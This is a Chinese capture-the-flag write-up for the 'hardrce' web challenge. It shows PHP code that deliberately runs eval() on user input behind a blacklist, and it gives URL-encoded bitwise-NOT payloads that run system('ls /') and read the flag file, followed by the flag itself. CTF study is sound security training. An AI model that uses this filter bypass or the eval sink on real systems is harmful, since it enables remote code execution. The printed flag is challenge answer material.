[SWPUCTF 2021 新生赛]hardrce

发布时间 2023-08-20 23:06:24作者: y0Zero

[SWPUCTF 2021 新生赛]hardrce

题目来源:nssctf

题目类型:web

涉及考点:rec

1. 上来直接代码审计

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?>

代码给了一个黑名单,过滤了一系列字符,其中包括异或,且过滤了所有字母,这时候就涉及无字母RCE绕过了

具体知识点见:老生常谈的无字母数字 Webshell 总结 (侵删!!)

总之,题目没有过滤 | 以及~,我们可以考虑使用 或 操作或者 取反 操作,这里使用取反

2. 构造payload

我们首先对一串代码进行取反,然后再进行url编码,在发送请求的时候将其再次取反即可。因为取反之后基本都是不可见字符,所以基本上不会被正则匹配到

  • 我们先构造system('ls /'),因为没有过滤括号,我们只对括号内外分别取反再编码再取反即可:
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
  • 再构造cat /flllllaaaaaaggggggg
?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

获得flag:

NSSCTF{f39d8cd5-9eda-4197-a229-d065c0274e04}

日期:2023.8.20

作者:y0Zero